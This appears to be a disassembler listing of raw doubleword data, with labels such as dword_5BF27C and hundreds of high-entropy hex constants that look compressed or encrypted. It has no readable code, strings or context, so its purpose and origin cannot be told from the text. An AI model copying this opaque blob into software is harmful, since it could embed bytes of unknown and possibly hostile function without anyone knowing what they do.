		dd 0CA83D061h, 298D1C11h, 0E079EC03h, 82397A97h, 0BCB6A8BEh
		dd 560A8C7Fh, 0D8195249h, 87CDA907h, 0D067C315h, 48888B64h
		dd 0B8450097h
		dd 350989B5h, 0EA0071BBh, 636F76D4h, 7EA13C4Fh,	316EFA10h
		dd 0D9114DCBh, 0E6984312h, 0D0F5C599h, 451E9235h, 7A921F26h
		dd 0D84A404h, 0AAED9601h, 0E7824A1h, 51C0C189h,	9C5D0081h
		dd 0FA718413h, 2B07ED0Ah, 24E85006h, 87DB5391h,	0CDAC4Ch
		dd 407F817Ch, 31B41569h, 0F1097D15h, 1DE221CCh,	0F8E93390h
		dd 80156081h, 9F036C11h, 916EED10h, 43D707ECh, 9D3D021h
		dd 0DF009C37h, 0BDE95A50h, 3DD48E5Dh, 870835C6h, 7D80F898h
		dd 6190BBB9h, 49FD00C9h, 72686AC5h, 88C8ED1Dh, 5C968537h
		dd 0F0D420A7h, 5E0073DEh, 5238137Fh, 78F7AD70h,	0BED2029Fh
		dd 5528C0BCh, 0B25610C0h, 6404FD1Eh, 0C01202CFh, 0F4DD7C63h
		dd 2E38E061h, 1742EC5h,	0A0037BEFh, 6F1186C4h, 48297ECCh
		dd 5180E448h, 0D8D1F07Fh, 349DA06h, 0A1E1A1h, 11228967h
		dd 398B358Fh, 0E943BB00h, 4CF68EC2h, 7841C064h,	66FF38EAh
		dd 0F0E82E50h, 5F53A906h, 2A49EDE3h, 0B00E07h, 0D6118273h
		dd 879184F3h, 0BB3BC807h, 82991EE8h, 2A50CEBCh,	95160FCh
		dd 0E1034D1Dh, 0B2F5D4BCh, 16C8002Ch, 0DD230D02h, 691877D6h
		dd 8E715BF8h, 0C079FC04h, 856A0D41h, 0F1037F67h, 4356C227h
		dd 18602455h, 7A0B0680h, 0ED30A104h, 4997816Ah,	13D800BEh
		dd 9F913178h, 0A17796Ch, 2448D121h, 82188074h, 52FAD34Ah
		dd 59CED39h, 0F1558C0Ah, 0B39FB580h, 7C6F01B4h,	8E4262AEh
		dd 500062CAh, 0F101A538h, 75269BD8h, 0FC217F9Dh, 1E075832h
		dd 50EA300Bh, 45BA831h,	0D661B800h, 9360C3BBh, 25321966h
		dd 0C93C90EDh, 0AE6444B4h, 0A1A686h, 0DC9A5C1Fh, 87D65F2Bh
		dd 3420CBAh, 729D7600h,	7324B063h, 8FF02A00h, 6701FD74h
		dd 4854A11Ch, 1400CC73h, 0D4CAD24Eh, 0AF004BD6h, 3D1726Eh
		dd 0E055264h, 6FCCE612h, 7842173h, 7A49801Fh, 0E443E77Ch
		dd 0CC3E0008h, 0CDC15CF0h, 0B3013518h, 960597B0h, 9034A706h
		dd 3A099EDh, 0CA6E0A9Dh, 48B222B8h, 50779300h, 30079C52h
		dd 0C5DC4C99h, 884AA26h, 0ED880361h, 0F3868069h, 0DD46BEF9h
		dd 7A29A778h, 10FC487h,	79001609h, 0F1F0A31Fh, 54EE203h
		dd 0FC3973AAh, 60B43079h, 0F545FA12h, 65D9420h,	0F85F5549h
		dd 544C51E0h, 0F0F17F7Ch, 232556E9h, 6E9426A4h,	0C7410091h
		dd 0AC8AA9E3h, 0F60008CCh, 0EA81C4DAh, 5DB796Fh, 4F0B8B61h
		dd 0EDC881ECh, 74718085h, 0AECEDCE1h, 0E8A8C565h, 0ECF88809h
		dd 0EDD4B88h, 249A8199h, 5720C4A0h, 21FB2A9h, 63033BCBh
		dd 8934308Ah, 97E0616Ch, 8065EEEDh, 4D008FB7h, 5A776337h
		dd 24D980h, 0D3E4A3B4h,	0C4A56406h, 61536E01h, 87226367h
		dd 0ED7D6820h, 0E35F830h, 0D56F42F7h, 0B30F3ABEh, 7FCB0B36h
		dd 0F96C50A0h, 25081714h, 803F9A90h, 51742CE4h,	789DAF21h
		dd 114036Dh, 1583C561h,	0EB55CC07h, 9849C890h, 341D0Ch
		dd 2382C59Fh, 4016E481h, 84857F00h, 0DAB2C30h, 0A50A146Eh
		dd 84ADCD5h, 6C80237Ch,	7BFCE5FBh, 0B5751363h, 30002803h
		dd 0AC89800h, 0B53C07C1h, 17FFEF0h, 1872B232h, 0D0677DAEh
		dd 480EF385h, 60940C4h,	0B049E97Bh, 980B4494h, 21E9E660h
		dd 1C647F49h, 40ECCD1Dh, 11754614h, 0DA00DCB4h,	7A06E3FEh
		dd 1F0289FBh, 0BB7CC359h, 0DD5A9703h, 0B9E91027h, 17A8EC68h
		dd 3D3B6048h, 0A44A1D98h, 6BBE7643h, 8D810019h,	7C141B39h
		dd 6328759Ch, 75C4C11h,	48A7E1E0h, 4F135850h, 7BE9F2D0h
		dd 5EC4003Dh, 0E58467D5h, 27594907h, 6A1F0F10h,	409F2302h
		dd 0AA258062h, 5C6348B3h, 574B610h, 6CF3971h, 7F10088h
		dd 9E567B6Bh, 62DFA081h, 9B1C5EEFh, 0AA93E078h,	0BE023408h
		dd 65EDC980h, 41213E4Ah, 0AD841B0Fh, 0D3ACE062h, 2573AF5Ah
		dd 90200604h, 2DBBC0Dh,	1860F44Dh, 66E18D9Bh, 2EE300B8h
		dd 7C0EF93Bh, 2F0147E6h, 4CD0E189h, 5830F837h, 0ED1244E3h
		dd 80048148h, 4AAD7260h, 32E44A6Eh, 1080A9D0h, 0F953CC12h
		dd 26099DE8h, 0EE208A3h, 4001154h, 0BAC3C441h, 883B1817h
		dd 0E5A200F3h, 5449F86Ah, 0A46048F9h, 0E72C018Fh, 9009639h
		dd 74D5E064h, 403DBACh,	0B549C37Ch, 104CC2D2h, 3EFFE460h
		dd 46F65302h, 6855BC91h, 49CD571Ch, 2500F09Fh, 0B16018E2h
		dd 9E121D71h, 0D801664Bh, 6F8AFA1Fh, 69256440h,	2B522E2Ah
		dd 97728EDCh, 0A534EFA0h, 0E4904007h, 84243948h, 1F470205h
		dd 0BA80E8D4h, 89C0699h, 54390190h, 0FA051E98h,	0C218287h
		dd 0E4E48D3Ch, 24CF5C80h, 24116705h, 0EFD0C857h, 75D9C606h
		dd 0B39E16Fh, 0D406716Ch, 1D562410h, 896EFD00h,	42243314h
		dd 48320368h, 0B5220BFBh, 41EEC9E1h, 1F014D4h, 0ECF88EF9h
		dd 8709653h, 988C0AEBh,	0FAC77931h, 96D0004Ah, 586478CEh
		dd 250089E0h, 95FEFC6h,	31D34A0h, 6FDFAA3Bh, 391810F9h
		dd 0B7990607h, 8A543C7Bh, 0D2771400h, 0AC26D0D1h, 0A7619A02h
		dd 0E1EB2F72h, 78700B40h, 3C9907h, 0A930E0D9h, 8500576Bh
		dd 0D76CED9Dh, 13EA98B3h, 2A3039Ah, 0EC8797A0h,	1F163852h
		dd 0B80BE269h, 2C3408FAh, 138D8E80h, 0B8D87860h, 819D00F5h
		dd 7B1C8C54h, 0A53F73F4h, 3FC300A1h, 0CAA046F5h, 7F5F0098h
		dd 0BC13B20Dh, 1EE87603h, 265143Bh, 982CF79Ah, 5AFCE0E7h
		dd 0D43007AEh, 0A1BC1F8Fh, 20F43951h, 0AC4881B2h, 0DF6D1940h
		dd 0B5E0F968h, 6BB30017h, 9B95C84Ch, 4C983E2Eh,	2301DA07h
		dd 7E856E75h, 0F268D404h, 65843600h, 0E7777BE9h, 26D56A03h
		dd 82A2708Fh, 49CE660h,	5BD0255Eh, 0CB4080CFh, 0DD26FB3Ch
		dd 0E2012871h, 7631E83h, 363B7C32h, 0B922ED0Eh,	5DF962C0h
		dd 475C239Dh, 60C0C010h, 3B5901BDh, 0A72EE395h,	747D0204h
		dd 0A880DC78h, 3381267h, 0ACE23924h, 11EDB000h,	0B18F57D3h
		dd 47FC80ECh, 0C0102DB4h, 0E7731F8h, 9504B5F0h,	208146E8h
		dd 336020A0h, 74D13E87h, 0B2B02EF3h, 6A001BCDh,	0D981D598h
		dd 1635503Ah, 20E585E4h, 95D777D0h, 32711E00h, 0BB7E7FFBh
		dd 0F1550091h, 61D63548h, 9977AD5Fh, 0AF805094h, 59F415D3h
		dd 0DAD10034h, 19989724h, 0F90023F8h, 50F01841h, 45C1B4Bh
		dd 0EF0E048Eh, 0CB28E1DFh, 0D57D00CCh, 90171CE6h, 0D4D34C30h
		dd 10380122h, 0BF307F6Ah, 0B2649078h, 25FD484Ch, 0DE5CD53Fh
		dd 83605E14h, 0BF01AE06h, 6100F9E3h, 326E84E7h,	74679C38h
		dd 48F907EAh, 0A501EBB4h, 641401E2h, 17EA6E82h,	7560C5CFh
		dd 6A0064B2h, 563BCEBBh, 0DC248EEDh, 803A0085h,	8B6B86Bh
		dd 378C533h, 65604020h,	0D01771FFh, 0CC06A30Ch,	3B491007h
		dd 220F4ECEh, 0D560E72Eh, 41722757h, 779ED103h,	902A6EFFh
		dd 0A0BCFB86h, 58878DF8h, 6C2D18C3h, 0DCCBE018h, 1494F17Ch
		dd 0B5B36140h, 260128E1h, 7A6F196Ch, 0F8072182h, 0E9132042h
		dd 0DC424331h, 0E436B172h, 26DE3D78h, 58190A80h, 7B43AF63h
		dd 5A951800h, 1302124Eh, 4499D4h, 0CE2568E4h, 0E700E68Dh
		dd 4AED17C9h, 1204985Ch, 82D089D2h, 86111894h, 11838980h
		dd 1F3BB08Fh, 0E28E7E05h, 1400AE72h, 0B5644BCFh, 1E241FE0h
		dd 84A3AB4h, 66838488h,	0A4101ABCh, 90E928C0h, 9A78011Fh
		dd 0BFDF43Dh, 3D3CF16Fh, 0B303382Ch, 0F276E1DEh, 68488B1Ch
		dd 3D41028h, 0A07849D5h, 6BD8F175h, 0D31CAEF6h,	7A803D22h
		dd 0F8C5DC97h, 87F0EB5h, 216004A4h, 18431B89h, 0BC1CDB0Ah
		dd 5F0A0C0Eh, 648540F9h
		dd 0EC8040DDh, 0C04279E9h, 1362C3C8h, 0C47816A7h, 3DE44900h
		dd 589794ABh, 0E0B02499h, 61758BE0h, 0B86AB890h, 45DAE04h
		dd 0ACB26407h, 0F9637A03h, 0C9F10668h, 0E66FF034h, 900D0520h
		dd 73471CD4h, 0A9497007h, 873F2DEAh, 0FB9A806Fh, 661F95EFh
		dd 74903082h, 63ECF878h, 604628A2h, 0BDF7E800h,	0E7AF1D45h
		dd 97883D73h, 0F86F3505h, 0EE380B7Dh, 0FB206C90h, 7F2225Ch
		dd 0D5509A6Bh, 0ED03C5F1h, 6240C39h, 0F8668918h, 10FA70E1h
		dd 3F3FABC8h, 0DD80B4F2h, 1AFDB033h, 4F793453h,	308B0224h
		dd 20206693h, 20E6E840h, 89C2B5Ch, 0EDC78940h, 2D45014Dh
		dd 484C9EDAh, 4081A4C0h, 0ABB674C3h, 78C80A2Ah,	8A438FAh
		dd 3D800CE2h, 0FB06E5F8h, 0A44F0061h, 33C81601h, 0C6075D71h
		dd 0FEB6921Eh, 68350B40h, 155F439h, 0C7AFA491h,	0F0759B3Dh
		dd 21001237h, 0E281038Eh, 7A0D984h, 61F0D645h, 0F3567059h
		dd 300A9F08h, 9FA876FBh, 0EF00C716h, 5FE4539Dh,	71215C4Ah
		dd 357E1200h, 2D82AE76h, 3BF9DD4Ch, 0AB961F44h,	0E00E590Fh
		dd 0CAEF39B5h, 935F002Ah, 58050ABCh, 2F01ECA2h,	0C4D4C6E4h
		dd 0B5309B4Fh, 9B575864h, 2D01D24Ch, 0EF74F382h, 986983C8h
		dd 7832DEBCh, 0F7AD07C0h, 0F06B06CEh, 89432705h, 37281367h
		dd 2FB84E40h, 3EF43214h, 78635531h, 0AB8C2100h,	0EB6F0A1Fh
		dd 76AE00A2h, 8896E04Eh, 8500C798h, 29DA754Ch, 48B0FEF2h
		dd 3200B3A7h, 0FCFB1333h, 7D6466B3h, 9F403A50h,	0AC0389A6h
		dd 1F15CF03h, 989E5BF6h, 6222780h, 0C662F5BEh, 370AC931h
		dd 0A0B074F2h, 7D9F5A41h, 2AFECC50h, 5FF2002Fh,	0F0EE9775h
		dd 4188F3Ah, 0ACC969DFh, 7D99E816h, 0C8AF0035h,	0ECC5060Ch
		dd 0E1C0378Dh, 0D3FEBF2Ch, 726230B7h, 3D0BD959h, 118AD48h
		dd 1149AC93h, 91973810h, 5D5A00BFh, 27043941h, 71658700h
		dd 1B4F13A5h, 48A730CEh, 0E636F2C0h, 80CA3E3Bh,	0F95D20F5h
		dd 0FEF3A871h, 0C2A30926h, 3A005BEFh, 43CBEA27h, 9B386063h
		dd 0DB890074h, 599E527Ch, 6C07FDADh, 5A98DDAEh,	9F3F9010h
		dd 0E6F067Ah, 0F16ADF2Ch, 0CFB23100h, 71F842B3h, 380C0003h
		dd 57FC6F3Fh, 0B014FF06h, 12D04D97h, 7027B85Ah,	1C88B244h
		dd 0F1040097h, 0FEE15B69h, 5353B7D6h, 3EF6008Ch, 931179ADh
		dd 0F7F003F3h, 4A46B845h, 554F2001h, 1326CFCAh,	305298A6h
		dd 842F3599h, 79248B72h, 0C5000861h, 30452799h,	317B3372h
		dd 1199B629h, 205BE1FDh, 15E859CEh, 8464FF48h, 5C883F6Ah
		dd 0E1450C8Fh, 0BAD10957h, 60DF6D44h, 1BAD316Eh, 2200304Bh
		dd 3D72D020h, 0F2D247h,	0A4C65AB0h, 0BBBA9732h,	59BF0C30h
		dd 1088376h, 485E6C87h,	4181982Dh, 20051AD0h, 0F2030C74h
		dd 0F747E946h, 90781088h, 0CA068465h, 0DEEAD100h, 1D0EBBD9h
		dd 34CF6BAh, 89FBEE66h,	0D0C35886h, 0A6D8F18Ah,	0A4A652C8h
		dd 30210476h, 1F4BF6CFh, 6ADD2700h, 49ABE0F1h, 0C702B013h
		dd 11B77A5Dh, 16AA88AFh, 840A03FBh, 6A07C61h, 4B339F55h
		dd 0F1BB20C3h, 0AC22EF11h, 0DE3B0378h, 1CA2682h, 440CB918h
		dd 0FFB6921h, 54DCA1A9h, 0C9C83760h, 0A04AA55h,	0DA6B3282h
		dd 7315E888h, 21C99C7h,	30BE64A8h, 4009846h, 0F4C9BB1Eh
		dd 3D14BABh, 334F06AAh,	5EB32CE3h, 30BB11E0h, 0B4256B00h
		dd 262EF87Fh, 56A418F0h, 0D22FCAB7h, 0DF520F09h, 27C8732h
		dd 761F22A2h, 345D00A9h, 2F7ACBF3h, 9F3DDD04h, 8C936B12h
		dd 0E4D90F07h, 0EE60BA8Fh, 0F32923EBh, 98973A1Fh, 437A00BBh
		dd 0F2B9DB67h, 50514854h, 9326A0Ah, 29F41C70h, 3E591190h
		dd 0ACB700A3h, 1EAF6684h, 61D2006Bh, 9F8368F1h,	0A9208D5Ch
		dd 4712077Dh, 0F03833F4h, 0B1935E01h, 0C0C7891h, 565146h
		dd 66F56E8Ah, 1B1049CFh, 9501B20Ah, 9E00F4DEh, 508E534Ah
		dd 9C5748EBh, 0C956EF1Ch, 0E086341Bh, 70CAA1F3h, 4809F4B9h
		dd 5EDC115Fh, 0FCEC4Ch,	1A11AAC2h, 0B494B3BFh, 53E4DD09h
		dd 540E84A7h, 35CA3C81h, 0BC44DF02h, 1B445F00h,	0F0B8ECDBh
		dd 0C9DD06D8h, 7990FB15h, 8CA9200Ch, 0A2716Eh, 0B149D024h
		dd 0CA03C794h, 55BDA600h, 383BB3FFh, 74B40E27h,	16C3A348h
		dd 49C6FB14h, 0E6CEC4A6h, 0A0722F9Dh, 115351A9h, 3D0900D9h
		dd 0F416E9BBh, 940FC12Eh, 87DAA498h, 0B5905052h, 0E89F1123h
		dd 13AC009Ah, 755C97B9h, 80A83EB6h, 46F6C591h, 2DEEA800h
		dd 44EBEA92h, 0BE8A0045h, 4C9A1ACEh, 0C8007DBDh, 0E7552584h
		dd 610C5D90h, 3AF699B0h, 1953CC86h, 1263F000h, 2B4DE62h
		dd 0FE0C26FDh, 0EC2701A0h, 647E0FEBh, 0E4E5F004h, 0C7A26FFh
		dd 0A9DC6250h, 9C23EFh,	80C36BE4h, 18528854h, 0B14D0D59h
		dd 6005D9F8h, 0D65FCD58h, 4EB54A80h, 75E9007Ch,	4C738382h
		dd 0C8480B64h, 0EC58DF7Ch, 203559h, 0EF9A6905h,	0A4F5C863h
		dd 0D8D90404h, 24C7335Bh, 0F1F215A0h, 90E092C9h, 2E474444h
		dd 8C817D0Ah, 6A80EC73h, 682360F9h, 4F410088h, 28C9842Ah
		dd 0A800BAF0h, 0D0CC03A4h, 0B86A1FD8h, 0E07D583Fh, 1402DA81h
		dd 0F3F92085h, 5A454A00h, 0A87DACC5h, 888F48E1h, 0B8013481h
		dd 0C0602661h, 0D162B3EAh, 1B132E8Fh, 5E98014Fh, 0F088B0A9h
		dd 0AB3C8754h, 0E88F8128h, 111EDE7Ah, 0E7CECC4h, 0ACB42657h
		dd 94555480h, 0F8BA5E5Bh, 0C0CAA300h, 0ABF3F10Ch, 2EF00EE2h
		dd 43690482h, 254C1446h, 0AB71C000h, 40CCA6h, 46E1A2BDh
		dd 0C9343A08h, 0BB55Dh,	0ED808CE2h, 2DC0DD6h, 7FADBB95h
		dd 0D4482610h, 0A2002489h, 0AFCCCDF2h, 50BA59Eh, 0DF8D27C7h
		dd 3078888Fh, 24402C45h, 986BC5DEh, 1D9F1300h, 19E44123h
		dd 0FFB68F16h, 0AE0F39F6h, 0C0A61379h, 23215C11h, 0F474C5h
		dd 2991FCD2h, 92263036h, 0AD12E401h, 0BB5A7CB5h, 0DF183C72h
		dd 52C8496Fh, 0F04B1C0Fh, 81838BCBh, 6CD5F241h,	9E392180h
		dd 2E8AB048h, 0F1005E7Ch, 1C8E9A4Bh, 2C20E83Bh,	4850C37Ah
		dd 0AA973DB0h, 0C72C28E2h, 0AC3D0E2Ah, 91F63205h, 0BC0230B9h
		dd 903BC46Ah, 0A0468D80h, 0E1DFBED8h, 17C4D8E1h, 9D649108h
		dd 190020ADh, 7555EE9Ah, 3009474Ch, 401648BBh, 0C70323DCh
		dd 7B14D20Ah, 0ED8EE067h, 65571F31h, 0ACA9CAFFh, 90200088h
		dd 851F2382h, 5A126490h, 8C44199Eh, 54C8B075h, 24EE0097h
		dd 87824853h, 0B805A864h, 658830E2h, 969174C0h,	106212F2h
		dd 0F8840F5h, 280627A6h, 5365E61Eh, 9863BA80h, 6EE82Eh
		dd 0C745048Fh, 0D7FDEEAAh, 74BD0B03h, 0C3F3FCE2h, 20E8EE5Ah
		dd 6A16377Ch, 542720D9h, 91C869C7h, 8856003Ch, 949A2D9Eh
		dd 0F647182Ah, 0A513311Fh, 3E56EE07h, 0B338F1C7h, 25A449E8h
		dd 84B8BCC8h, 0D00D4B0Ah, 76111813h, 0F38EBC5Ch, 0AB6CB7A0h
		dd 0E71F20A8h, 0F5C1239Eh, 2E6B4819h, 0D206BDC8h, 45B48889h
		dd 7B322C00h, 0E243AF5Ch, 0D6935864h, 0D88D5600h, 8E8596E3h
		dd 0EDB0BB02h, 612EC802h, 5C229058h, 331D54C3h,	0CA9B22F8h
		dd 51448C00h, 6CD2C70Ch, 0CF270062h, 2FF10DAAh,	54E27049h
		dd 473CF492h, 0F7C70830h, 56BE813Eh, 0E44EB272h, 0D000DD3Ah
		dd 8F4308F2h, 295545C9h, 8C08510h, 5CA86DFCh, 382608FBh
		dd 9823EEEh, 98921DEDh,	0B41A7864h, 0E8291EFDh,	0C0488CACh
		dd 3BDCBBD1h, 0E43FC7C1h, 470280EAh, 0D5AF2089h, 0BCBE1A85h
		dd 0B04090E1h, 0F75CAA21h, 26E407D7h, 0FDC12C55h, 0B041CA9Ah
		dd 0F04CC3B0h, 535E8870h
dword_5BF27C	dd 84B3F63Ch, 21A87F9Fh, 45926082h, 9C38127Ch, 1F074670h
		dd 0A7CC0E3Fh, 325B9530h, 997B00E6h, 468555B7h,	5E021F56h
		dd 6131499Ch, 86F8608Dh, 77C40054h, 2C15F57Dh, 48527A5Eh
		dd 2FD04094h, 7419C07Eh, 1FB147ECh, 33002429h, 0C41BCB32h
		dd 72096E1Ch, 81B5DFFDh, 0B2EF75D4h, 942C4822h,	545E4060h
		dd 752561CAh, 0E34490B7h, 9AF300F5h, 71E24DBBh,	7F09261Fh
		dd 44FAB933h, 0BCC64C00h, 509C5BC0h, 400026A7h,	8C27FFF4h
		dd 0FA4A934Dh, 0CF1D018Bh, 9EB61F34h, 0BB360DDh, 8CA6BB0Ah
		dd 0CF819C7Bh, 40CB77FCh, 0F84889C5h, 0EF4E095Bh, 0C0303F6Eh
		dd 4A09D82Fh, 6B9F59C9h, 515AA208h, 0FEE300DCh,	59D433F4h
		dd 808F7D00h, 853614DFh, 0B46A5045h, 5D8AE898h,	9BC9444Bh
		dd 8D65E010h, 9E0E4E7Ch, 49F374F8h, 9C093EEh, 0DA6B4440h
		dd 5492DC90h, 1BA85C06h, 540177Fh, 0F25E01FFh, 13E0082Ch
		dd 0F1FDCA83h, 0C255E306h, 0CEC82B7h, 1AE4905Ah, 6B2605B0h
		dd 0C0D601E5h, 5E55905Bh, 5C03D05h, 40C019B8h, 0F46F8C48h
		dd 467E30h, 3152B7DCh, 27299AEBh, 12CFE8A0h, 0F74645Ch
		dd 0AC05EE5Eh, 69D97Fh,	1CFAB6A6h, 0C44AD795h, 3AAF30C2h
		dd 33DF024Fh, 71040448h, 3B36D700h, 1602841Ch, 25A44A95h
		dd 39E008CCh, 579D5B40h, 8C8500D0h, 54C25005h, 0A09CA75Ah
		dd 0E871EC44h, 4CC1F28Fh, 0BF84810h, 0B8AB291Fh, 9F007FEEh
		dd 6940C65Bh, 0FD7A02CAh, 0ECA6DEBDh, 0BE03E052h, 8B20725Ch
		dd 169C6C5h, 4E302547h,	44FEB492h, 0E800822Ch, 88E74081h
		dd 7C2DD6h, 43FCFD2Dh, 50B4C0h,	0F60301B0h, 0CA5FDB85h
		dd 163ABC17h, 9322CC01h, 5C50FF04h, 3FA29B33h, 20CB35F3h
		dd 15600E04h, 0EBBD1C1Eh, 65B1153Eh, 48322A98h,	0A8545D05h
		dd 14C8DEF3h, 752014Dh,	0C88B09CFh, 0A7C6E0A9h,	362E27h
		dd 937A1B70h, 0C1161E01h, 80A303FCh, 5FD884EEh,	0F5000DCCh
		dd 73352D25h, 3B54A49Ah, 0FF82DA85h, 0DEE42064h, 650E807Ah
		dd 0E0E30929h, 0C3704AD4h, 0B89803E8h, 0FEC71A38h, 0DE9B52BFh
		dd 297EA702h, 73488403h, 6AC5E0E8h, 62B42700h, 837621D5h
		dd 0BEFB2A26h, 130CA1A8h, 0B45C8F10h, 0A1FA20Ah, 0F51AE948h
		dd 20D88F51h, 9E2D924Fh, 0EE7A241Ah, 5D4850F4h,	0A650B600h
		dd 814145F7h, 5EA00C5h,	0D3871F54h, 0C674EC31h,	9F3B51Fh
		dd 0C7672100h, 962223h,	8F32184Ch, 0B6393424h, 11B45D00h
		dd 3DB3D6E1h, 0BA6E449Bh, 0E7D98700h, 0F3C3BB33h, 24E0110h
		dd 0F5917DE3h, 0F44C61ACh, 0C72C47B9h, 0B03F6C31h, 8FF6A143h
		dd 0F1C3001Fh, 0BB2864D7h, 670177A5h, 7F23D160h, 0C0EEBA91h
		dd 817C2D80h, 7604729Bh, 2002B1F2h, 0B093054h, 0D974692Eh
		dd 0EEA80005h, 72275D02h, 0FEB6871Ch, 99C3D800h, 0EC69598Bh
		dd 368A01D5h, 2B781A2Ch, 34088024h, 6092C519h, 38960014h
		dd 353B8D49h, 3018585Bh, 4D3034F2h, 0EBEADDh, 24699705h
		dd 5055FD39h, 2AF84500h, 8977D1BCh, 34BA0B8Ch, 6E0C8E5Bh
		dd 6430D838h, 0C5179A6Bh, 57B930EBh, 2B34C820h,	5ACD1A06h
		dd 880C05h, 95A8BF2Ch, 64CEB642h, 6DD5A418h, 0C3743318h
		dd 1CDAC089h, 0BCB5390h, 0FAE6EB00h, 0E008F4F7h, 488CF322h
		dd 0A139D105h, 41F0C890h, 441F3200h, 0FC87F3B0h, 26EB15D5h
		dd 50228421h, 803BEE3Fh, 0F3478193h, 3A1C3799h,	9480DEE7h
		dd 5310412Bh, 0F703DCC1h, 87EE08C3h, 8C380C05h,	0DEB04D51h
		dd 88086288h, 0B9007E29h, 4AC7AF2Eh, 1CD46921h,	818EA11Dh
		dd 8752EB8Ah, 0DE9088EDh, 8B940520h, 0C8780032h, 543B8492h
		dd 0EC4B2500h, 518B6867h, 8CC20146h, 0BA64C3C6h, 0A881F22Dh
		dd 485EF3EAh, 0D6885CF0h, 968F0019h, 0BDC6B908h, 552F58D9h
		dd 1481F836h, 0A0E5F7C2h, 682F28h, 79E3C4D9h, 8D87CB5Ah
		dd 8CAEA0C8h, 0D2595B2Bh, 867C1F0Eh, 0A0BE6FB8h, 857449AFh
		dd 0B43E008Eh, 0EFD5AE99h, 30C6223Ah, 0F639382Ah, 0EAF571C2h
		dd 23130053h, 17AC86C4h, 6262DE05h, 4455FAF8h, 71990054h
		dd 98B227CBh, 823F0A66h, 0CCC00085h, 0A235D76Fh, 7290146h
		dd 0E9E50317h, 8EFDFCAFh, 3A9D2201h, 0D27DD096h, 65339F0h
		dd 436FB6B2h, 4D1B38DEh, 0C0403D69h, 0C0592130h, 0EE7FE619h
		dd 52184E70h, 1E20AE7Bh, 2700E9B8h, 5A00C4C2h, 0FA186677h
		dd 7A32C6Eh, 197E7562h,	0BB606020h, 80004A95h, 7B064990h
		dd 0D02D7Fh, 8EDA5FB0h,	0AE131F4Eh, 93E8C75Fh, 6BE3800h
		dd 3E0CD898h, 0EE474205h, 15C35336h, 257D90B6h,	6FA3181Ah
		dd 0F2E9F1EAh, 0CF0090EEh, 0DF40BFA1h, 0CDC0B41h, 7CC31E7Fh
		dd 0C4138A88h, 130C3017h, 606F38D2h, 0CD2841E2h, 0A000AEA9h
		dd 892C8ED6h, 6DB6C1h, 209B08DCh, 715B36DFh, 0E37A6B03h
		dd 0E2C82D5Eh, 0F490A04Dh, 0C6AD5Ah, 0C9C7054Bh, 0CAB99F81h
		dd 83881B00h, 9411BDDDh, 0B7180758h, 0F142CEA1h, 4098238Eh
		dd 39831A0Ch, 0B4B23B14h, 1E7E0AC8h, 8280B0BAh,	886D67E4h
		dd 59760701h, 2EDCB00Ch, 0C8514E02h, 5823D890h,	0CDF47A89h
		dd 1E870074h, 0AFE4AC15h, 4F001966h, 2AEB9716h,	1D6A27D1h
		dd 6830882Bh, 487F001Ch, 0E9E777BAh, 81C5A1B2h,	0A40C8639h
		dd 5511A7h, 32B10393h, 725A690Fh, 33132B01h, 0CF544DBFh
		dd 5F254841h, 50ED6F11h, 488AF8B4h, 5AF07C00h, 847ECD9h
		dd 2D6F000Ch, 36A76AD4h, 0D8007AEAh, 84EDB11Fh,	398B695h
		dd 0C431A205h, 60C2072Fh, 0F7C70881h, 5829A8B2h, 70004042h
		dd 118153B6h, 0F81461BCh, 3F4CDAF7h, 80F5004Fh,	23FB4E5Dh
		dd 96A01E2h, 60B9E9A3h,	3E81ECD6h, 35319D60h, 2B24ADBh
		dd 5D22A7BCh, 33E1AE09h, 952180CAh, 96ADB376h, 716E0023h
		dd 0B7F52437h, 0BF50D370h, 0EBF0DF08h, 83190A1h, 0F1454527h
		dd 98C0175Ch, 5551DDCh,	12C7CEF9h, 383414C9h, 0F00801C0h
		dd 9F0F5B60h, 40D976E8h, 82868DE1h, 38237997h, 4A0CB4F7h
		dd 0A4109532h, 0FED88303h, 0AA03E54Eh, 0BE2C800Ah, 0E4D2297h
		dd 19066C08h, 411DDA87h, 80579B8Ch, 0EBC02571h,	7F6DB90h
		dd 31585DA6h, 712B3012h, 0CC3E6EB7h, 69AA8A63h,	5611C4D1h
		dd 0D9EC6F18h, 8900FF2Fh, 836210D0h, 0E6DCEB3h,	0E8C757E9h
		dd 9DAA00DDh, 0D40FC439h, 0F748E698h, 0F871806Ch, 0F8EF7DA0h
		dd 301E0AC4h, 429CD42Fh, 892FC85Eh, 7E641026h, 534A1210h
		dd 0EDD40A5Fh, 61C68044h, 3C44D9E8h, 0C01D9A1Dh, 0CD006B5Fh
		dd 9F224767h, 691A0499h, 865E4B31h, 5F003907h, 0DCCB189Ah
		dd 0C0D1DA7h, 4C737A19h, 0E5000260h, 0E6D6C159h, 92A3B5E9h
		dd 0F803001Ch, 5A184A6Bh, 0A518C83Ah, 0F751E3CEh, 9AB9CEC6h
		dd 5D887EA1h, 2AE60B1h,	0C42A3D03h, 0F812E0F2h,	914F2C30h
		dd 646D806Ch, 380AC0Eh,	1E2E7E0Ch, 1371A4h, 15E9F4A0h
		dd 502F0443h, 24AAE5Ch,	0A3762694h, 9FF8A0DDh, 0E6217E22h
		dd 96320F9Ch, 95019775h, 0D87FC03Fh, 997CE435h,	0E9872F03h
		dd 7E47E64Ah, 53C20A60h, 9DF4BE86h, 4D18E22Dh, 1ED13F5Dh
		dd 6D91C0BBh, 83C83142h, 0C5D9D26h, 22E0C315h, 7EE63CAFh
		dd 7F483D0Fh, 475A3984h, 30055E4h, 92065385h, 0A5F1142Ch
		dd 0B490C8D8h, 206A122h, 9E1D7EF8h, 0FB7B0011h,	6DEE160Bh
		dd 5C037804h, 0E0A93494h, 0C0429203h, 0B47060h,	8D14C20Dh
		dd 961EB5A5h, 0FA601A07h, 0EF466B0Bh, 49AB0069h, 0E24AE680h
		dd 0B800AA27h, 0D15D0270h
dword_5BFA7C	dd 8D746Fh, 483F2047h, 4DAD04EBh, 8436572Ah, 0C4272117h
		dd 14565B0Fh, 384A00B0h, 4DABFE48h, 0DE61C66Ah,	0DC44D896h
		dd 32C0155h, 9B05197Fh,	7788502Ah, 0D1002F3Bh, 605398AEh
		dd 0EAAF1748h, 5EF50710h, 0C08A6DECh, 2857167Fh, 0D2862318h
		dd 1105D51h, 0E9DAC5AEh, 0D2E2CFD6h, 73555840h,	8CD9A524h
		dd 33F743h, 9DD13491h, 9A313957h, 0F3D40402h, 4AFE636Ch
		dd 52A06138h, 1855E048h, 11289A24h, 8900A41Dh, 10B6FB04h
